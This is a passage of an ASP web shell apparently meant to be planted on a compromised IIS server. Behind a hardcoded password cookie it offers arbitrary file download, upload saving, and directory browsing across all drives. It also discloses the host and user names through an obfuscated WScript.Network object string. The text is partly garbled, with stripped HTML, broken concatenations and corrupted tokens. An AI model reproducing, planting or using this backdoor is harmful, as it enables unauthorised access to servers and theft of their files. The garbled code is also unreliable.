"" then getfilename = mid(fullpath,instrrev(fullpath, "\") 1) else getfilename = "" end if end function end class class fileinfo dim formname,filename,filepath,filesize,filetype,filestart private sub class_initialize filename = "" filepath = "" filesize = 0 filestart= 0 formname = "" filetype = "" end sub public function saveas(fullpath) dim dr,errorchar,i saveas=true if trim(fullpath)="" or filestart=0 or filename="" or right(fullpath,1)="/" then exit function set dr=createobject("adodb.stream") dr.mode=3 dr.type=1 dr.open data_xlsf.position=filestart data_xlsf.copyto dr,filesize dr.savetofile fullpath,2 dr.close set dr=nothing saveas=false end function end class httpt = request.servervariables("server_name") rseb=request.servervariables("script_name") d=request("d") if request.cookies("password")<>"12345679" then if trim(request.form("password"))="12345679" then response.cookies("password")="12345679" response.redirect rseb & "?d=ls.asp" else %> <% end if response.end end if select case d case "d.asp" call downloadfile(request("path")) function downloadfile(strfile) strfilename = strfile response.buffer = true response.clear%> <%s.open s.type = 1 if not ssyss.fileexists(strfilename) then response.write("
error:
" & strfilename & " does not exist") response.end end if set f = ssyss.getfile(strfilename) intfilelength = f.size s.loadfromfile(strfilename) if err then response.write("
error:
" & err.description & "")
response.end
end if
response.addheader "content-disposition", "attachment; filename=" & f.name
response.addheader "content-length", intfilelength
response.charset = "utf-8"
response.contenttype = "application/octet-stream"
response.binarywrite s.read
response.flush
s.close
set s = nothing
response.end
end function
case "ls.asp"
urlpath=server.urlencode(path)
dim cpath,lpath
if request("path")="" then
lpath="/"
else
lpath=request("path")&"/"
end if
if request("attrib")="true" then
cpath=replace(lpath,"/","\")
attrib="true"
else
cpath=server.mappath(lpath)
attrib=""
end if
sub getfolder()
dim thefolder,thesubfolders
if ssyss.folderexists(cpath)then
set thefolder=ssyss.getfolder(cpath)
set thesubfolders=thefolder.subfolders
response.write"上级目录
<%
end if
end sub
sub getfile()
dim thefiles
if ssyss.folderexists(cpath)then
set thefolder=ssyss.getfolder(cpath)
set thefiles=thefolder.files
response.write""
end sub
%>
<%=httpt%>
<%for each thing in ssyss.drives
response.write "["&thing.driveletter&":]"
next
set oscriptnet=server.createobject("ws" "cri" "pt.ne" "twork")
%>user:<%= "\\" & oscriptnet.computername & "\" & oscriptnet.username %>
<%if request("attrib")="true" then
response.write "切换到绝对路径"
else
response.write "切换到相对路径"
end if
%>rpath:<%=cpath%> | cdir:<%=lpath%>
<蔿l getfolder()%>
<蔿l getfile()%>